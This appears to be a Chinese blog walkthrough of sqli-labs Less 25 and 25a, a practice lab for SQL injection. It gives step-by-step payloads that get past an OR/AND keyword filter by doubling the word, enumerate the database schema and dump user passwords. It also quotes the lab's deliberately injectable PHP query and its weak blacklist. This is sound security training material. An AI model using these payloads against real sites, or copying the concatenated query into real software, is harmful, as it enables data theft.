• sqli-labs 通关指南:Less 25


    Less 25 的注入过程和 Less 1 的完全一样,但是 Less 25 开始对 “OR” 和 “AND” 2 个字符串进行过滤,此时我们可以使用双写绕过来应对这种过滤。

    Less 25

    Trick with OR & AND(过滤了 OR 和 AND 的注入)

    判断注入类型

    首先注入正常的参数,网页回显正常的信息。使用单引号来闭合,网页回显报错信息。

    ?id=1'
    


    使用 “--+” 注释掉后面的内容后回显正常,说明此处是单引号闭合的字符型注入。

    ?id=1'#
    

    双写绕过

    构造恒真条件时,我们发现网页回显了报错信息,根据提示我们发现 “OR” 运算符不见了。

    id=1' OR 1 = 1--+
    


    使用 “AND” 进行注入时,网页也回显了报错信息,“AND” 运算符也不见了。由此可见此处网页对我们传入的参数进行了过滤,把 “OR” 和 “AND” 运算都删掉了。

    id=1' AND 1 = 1--+
    


    此处我们可以使用双写绕过来对过滤进行绕过,具体的方式为在被过滤的字符串中间再次书写一次该字符串。例如在构造恒真条件时,我们在 “OR” 中间再插入一个 “OR”,变成 “OORR”。当网页对传入的参数进行过滤时,该字符串中间的 “OR” 会被过滤掉,但是字符串剩余的部分也构成了一个 “OR” 运算符,此时的参数就注入成功了。

    id=1' OorR 1 = 1--+
    


    对于 “AND” 来说也是一样,在该字符串中间的任意位置双写一次,也能查询成功。

    id=1' AandND 1 = 1--+
    id=1' ANandD 1 = 1--+
    

    获取数据库信息

    判断表有几列,使用 ORDER BY 子句进行一个排序,此处网页回显了错误信息。这是因为 “ORDER BY” 子句里面也有个 “OR” 字符串,所以在后面的注入中,所有有 “OR” 和 “AND” 的字符串都要双写。

    ?id=1' ORDER BY 3--+
    


    测试到第 4 列无回显,说明表中一共有 3 列。

    ?id=1' OorRDER BY 4--+
    


    判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。

    ?id=-1' UNION SELECT 1,2,3--+
    


    爆数据库名。

    ?id=-1' UNION SELECT 1,database(),3--+
    


    爆表名。

    ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+
    


    爆字段名。

    ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+
    

    获取目标信息

    爆出 users 表中的信息。

    ?id=-1' UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+
    

    关卡 SQL 查询语句

    源码如下,我们可以看到 SQL 查询语句和之前的没什么差别。但是参数 id 在被查询时,先经过了 blacklist() 函数。

    $id = blacklist($id);
    
    // connectivity 
    $sql ="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";	
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else 
    {
          echo '<font color= "#FFFF00">';
          print_r(mysql_error());
          echo "</font>";  
    }
    

    blacklist() 函数如下,该函数使用正则表达式对 “AND” 和 “OR” 进行了过滤。

    function blacklist($id)
    {
          $id= preg_replace('/or/i',"", $id);      //strip out OR (non case sensitive)
          $id= preg_replace('/AND/i',"", $id);      //Strip out AND (non case sensitive)
    	
          return $id;
    }
    

    Less 25a

    Trick with OR & AND Blind (过滤了 OR 和 AND 的盲注)

    判断注入类型

    注入以下内容,以下内容全部网页都回显错误,说明该网页是数字型注入。

    ?id=1'--+
    ?id=1')--+
    ?id=1'))--+
    ?id=1"--+
    ?id=1")--+
    ?id=1"))--+
    


    构造恒真条件,此时发现回显了错误信息,说明我们的 “OR” 运算符被过滤了。

    ?id=1 OR 1 = 1--+
    

    使用双写注入,网页就能返回正常的信息了。

    ?id=1 OorR 1 = 1--+
    

    本关的盲注体现在何处?当查询的 id 不存在,也就是查询失败时,没有任何回显信息。不过由于查询成功时能正常回显,此处使用 Less 25 的注入方式即可。

    ?id=-1
    

    获取数据库信息

    判断表有几列,使用 ORDER BY 子句测试到第 4 列无回显,说明表中一共有 3 列。

    ?id=1 OorRDER BY 3--+
    


    判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。

    ?id=-1 UNION SELECT 1,2,3--+
    


    爆数据库名。

    ?id=-1 UNION SELECT 1,database(),3--+
    


    爆表名。

    ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+
    


    爆字段名。

    ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+
    

    获取目标信息

    爆出 users 表中的信息。

    ?id=-1 UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+
    

    关卡 SQL 查询语句

    除了查询失败时不显示错误信息,其他的和 Less 25 一样。

    //fiddling with comments
    $id = blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint=$id;
    
    // connectivity 
    $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";	
          echo 'Your Login name:'. $row['username'];
          //echo 'YOU ARE IN ........';	  	
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else 
    {
          echo '<font size="5" color="#FFFF00">';
          //echo 'You are in...........';
          //print_r(mysql_error());
          //echo "You have an error in your SQL syntax";
          echo "</br></font>";	
          echo '<font color= "#0000ff" font size= 3>';	
    }
    
    function blacklist($id)
    {
          $id = preg_replace('/or/i',"", $id);      //strip out OR (non case sensitive)
          $id = preg_replace('/AND/i',"", $id);      //Strip out AND (non case sensitive)
    	
          return $id;
    }
    
  • 相关阅读:
    贝赛尔曲线实现填充不规则图形,并且随手指运动
    当view为wrap_conten时获取一个view的具体宽高
    Scrapped or attached views may not be recycled
    installation failed with message INSTALL_FAILED_INSUFFICIENT_STORG
    RecycleView设置顶部分割线(记录一个坑)
    Java list.remove( )方法需要注意的地方
    JAVA forname classnotfoundexception 错误
    调用android的getColor()方法出现 java.lang.NoSuchMethodError: android.content.res.Resources.getColor
    JSONObject.parseObject
    设置抓包工具Fiddler的host
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13938879.html
Copyright © 2020-2023  润新知